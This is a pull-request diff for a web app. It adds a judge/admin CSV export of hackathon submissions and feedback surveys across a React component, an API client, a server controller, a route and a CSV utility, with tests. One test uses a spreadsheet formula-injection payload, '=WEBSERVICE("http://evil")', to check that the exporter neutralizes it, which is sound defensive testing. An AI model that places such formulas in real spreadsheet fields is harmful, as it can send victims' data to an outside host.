Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
39 changes: 38 additions & 1 deletion client/src/components/admin/ProgramJudgingSection.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,32 @@ export function ProgramJudgingSection({
const [publishedAt, setPublishedAt] = useState<string | null>(resultsPublishedAt);
const [publishing, setPublishing] = useState(false);
const [expanded, setExpanded] = useState<Record<string, boolean>>({});
const [exporting, setExporting] = useState(false);

const handleExportCsv = async () => {
setExporting(true);
try {
const auth = await getAuth();
const blob = await api.exportProgramSubmissionsCsv(programSlug, auth);
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = `${programSlug}-submissions-${new Date().toISOString().slice(0, 10)}.csv`;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
toast({ title: "Submissions CSV downloaded" });
} catch (e) {
toast({
title: "Couldn't export submissions",
description: e instanceof Error ? e.message : "Unknown error",
variant: "destructive",
});
} finally {
setExporting(false);
}
};

const tiers = useMemo(() => prizeTiersFor(prizeTiers), [prizeTiers]);

Expand Down Expand Up @@ -388,7 +414,17 @@ export function ProgramJudgingSection({
<section className="panel p-4 mb-3">
<header className="mb-3 flex items-center justify-between gap-3">
<div className="label-hw text-display">·JUDGING</div>
<div className="inline-flex border border-hairline">
<div className="flex items-center gap-2">
<button
type="button"
onClick={handleExportCsv}
disabled={exporting}
title="Download all submissions + feedback responses as CSV"
className="font-mono text-[10px] tracking-[0.14em] border border-hairline text-display hover:bg-panel-deep disabled:opacity-50 px-3 py-1.5"
>
{exporting ? "EXPORTING…" : "DOWNLOAD CSV"}
</button>
<div className="inline-flex border border-hairline">
{(["score", "results"] as Tab[]).map((t) => (
<button
key={t}
Expand All @@ -402,6 +438,7 @@ export function ProgramJudgingSection({
{t === "score" ? "SCORE" : "RESULTS"}
</button>
))}
</div>
</div>
</header>

Expand Down
25 changes: 25 additions & 0 deletions client/src/lib/api.ts
Original file line number Diff line number Diff line change
Expand Up @@ -2306,6 +2306,31 @@ export const api = {
return response.blob();
},

// Download all submissions + their feedback survey as a CSV (judge/admin).
exportProgramSubmissionsCsv: async (
slug: string,
authHeader: AdminAuthArg,
): Promise<Blob> => {
if (USE_MOCK_DATA) {
return new Blob(["submittedAt,submitterName,lumaEmail,projectTitle\n"], { type: "text/csv" });
}
const url = `${API_BASE_URL}/programs/${encodeURIComponent(slug)}/submissions.csv`;
const response = await fetch(url, { headers: adminAuthHeaders(authHeader) });
if (!response.ok) {
let message = mapStatusToMessage(response.status);
try {
const body = await response.json();
if (body && typeof body.message === "string" && body.message.trim()) {
message = body.error ? `${body.message}: ${body.error}` : body.message;
}
} catch {
// non-JSON error body — keep status-based message
}
throw new ApiError(message, response.status);
}
return response.blob();
},

// --- Program audit log ---

listProgramAuditLog: async (
Expand Down
19 changes: 19 additions & 0 deletions server/api/controllers/submission.controller.js
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import programSignupRepository from '../repositories/program-signup.repository.j
import submissionScoreRepository from '../repositories/submission-score.repository.js';
import programJudgeBallotRepository from '../repositories/program-judge-ballot.repository.js';
import { validateSubmission, validateScore, validatePrize, prizeTiersFor } from '../utils/submission.validator.js';
import { submissionsToCsv } from '../utils/submissions-csv.js';
import submissionConfirmationService from '../services/submission-confirmation.service.js';
import prizeAwardService from '../services/prize-award.service.js';
import lumaSyncService from '../services/luma-sync.service.js';
Expand Down Expand Up @@ -202,6 +203,24 @@ class SubmissionController {
}
}

// Judge/admin: download every submission + its feedback survey as a CSV.
async exportCsv(req, res) {
try {
const programId = await resolveProgramId(req);
if (!programId) return res.status(404).json({ status: 'error', message: 'Program not found' });
const { slug } = req.params;
const submissions = await programSubmissionRepository.listByProgramId(programId);
const csv = submissionsToCsv(submissions, { programSlug: slug });
const filename = `${slug}-submissions-${new Date().toISOString().slice(0, 10)}.csv`;
res.setHeader('Content-Type', 'text/csv; charset=utf-8');
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`);
res.status(200).send(csv);
} catch (error) {
console.error('❌ Error exporting submissions CSV:', error);
res.status(500).json({ status: 'error', message: 'Failed to export submissions' });
}
}

// Judge/admin: upsert this judge's score for one submission (draft save).
async upsertScore(req, res) {
try {
Expand Down
2 changes: 2 additions & 0 deletions server/api/routes/program.routes.js
Original file line number Diff line number Diff line change
Expand Up @@ -178,6 +178,8 @@ router.get('/:slug/audit-log', requireProgramViewer('slug'), programController.l
// admin. requireProgramJudge NEVER unlocks the payment/approval routes above.
router.post('/:slug/submissions', submissionLimiter, submissionController.submit);
router.get('/:slug/submissions', requireProgramJudge('slug'), submissionController.list);
// Download all submissions + their feedback survey as CSV (judge/admin).
router.get('/:slug/submissions.csv', requireProgramJudge('slug'), submissionController.exportCsv);
router.put(
'/:slug/submissions/:submissionId/score',
requireProgramJudge('slug'),
Expand Down
55 changes: 55 additions & 0 deletions server/api/utils/__tests__/submissions-csv.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
import { describe, it, expect } from 'vitest';
import { submissionsToCsv } from '../submissions-csv.js';

const base = {
createdAt: '2026-06-17T10:00:00.000Z',
submitterName: 'Ada',
lumaEmail: 'ada@example.com',
projectTitle: 'Engine',
projectBrief: 'A mechanical computer.',
videoUrl: 'https://youtu.be/x',
githubUrl: 'https://github.com/ada/x',
late: false,
agreedToTermsAt: '2026-06-17T10:00:00.000Z',
};

describe('submissionsToCsv', () => {
it('emits a header with all feedback columns', () => {
const csv = submissionsToCsv([]);
const header = csv.split('\n')[0];
for (const col of ['submitterName', 'lumaEmail', 'surfaces', 'surfacesPrimary', 'agentEnv', 'wouldKeepBuilding']) {
expect(header).toContain(col);
}
});

it('flattens the feedback survey (surfaces joined, string keys mapped)', () => {
const csv = submissionsToCsv([
{ ...base, feedback: { surfaces: ['MCP', 'API'], surfacesPrimary: 'MCP', agentEnv: 'cursor', wouldKeepBuilding: 'yes' } },
]);
const row = csv.split('\n')[1];
expect(row).toContain('ada@example.com');
expect(row).toContain('MCP; API');
expect(row).toContain('cursor');
expect(row).toContain('yes');
});

it('handles a submission with no feedback (blank feedback cells)', () => {
const csv = submissionsToCsv([{ ...base, feedback: null }]);
const row = csv.split('\n')[1];
expect(row).toContain('Engine');
// trailing feedback columns are empty, so the row ends with commas
expect(row.endsWith(',,,,,,,')).toBe(true);
});

it('neutralizes spreadsheet formula injection in feedback text', () => {
const csv = submissionsToCsv([
{ ...base, feedback: { biggestBlocker: '=WEBSERVICE("http://evil")' } },
]);
expect(csv).toContain("'=WEBSERVICE"); // leading quote sentinel from csvCell
});

it('stamps a self-identifying trailing comment', () => {
const csv = submissionsToCsv([{ ...base, feedback: null }], { programSlug: 'bitrefill-2026' });
expect(csv).toContain('# program=bitrefill-2026');
});
});
49 changes: 49 additions & 0 deletions server/api/utils/submissions-csv.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
import { csvCell, csvRow } from './csv.js';

// Keep in sync with FEEDBACK_STRING_KEYS in submission.validator.js.
const FEEDBACK_KEYS = ['agentEnv', 'deadlineStatus', 'biggestBlocker', 'couldntHandle', 'wouldKeepBuilding'];

const HEADER = [
'submittedAt',
'submitterName',
'lumaEmail',
'projectTitle',
'projectBrief',
'videoUrl',
'githubUrl',
'late',
'agreedToTermsAt',
'surfaces',
'surfacesPrimary',
...FEEDBACK_KEYS,
];

// Flatten program submissions (including the post-submit feedback survey) to a
// CSV an admin/judge can download. Every cell routes through csvCell, which adds
// the formula-injection guard required for any user-submitted content.
export function submissionsToCsv(submissions, { programSlug } = {}) {
const lines = [HEADER.map(csvCell).join(',')];
for (const s of submissions || []) {
const fb = s.feedback && typeof s.feedback === 'object' ? s.feedback : {};
const surfaces = Array.isArray(fb.surfaces) ? fb.surfaces.join('; ') : '';
lines.push(
csvRow([
s.createdAt,
s.submitterName,
s.lumaEmail,
s.projectTitle,
s.projectBrief,
s.videoUrl,
s.githubUrl,
s.late ? 'yes' : 'no',
s.agreedToTermsAt,
surfaces,
fb.surfacesPrimary ?? '',
...FEEDBACK_KEYS.map((k) => fb[k] ?? ''),
]),
);
}
// Self-identifying trailing comment (not parsed as a row by spreadsheets).
if (programSlug) lines.push(`# program=${programSlug}, exported=${new Date().toISOString()}`);
return lines.join('\n') + '\n';
}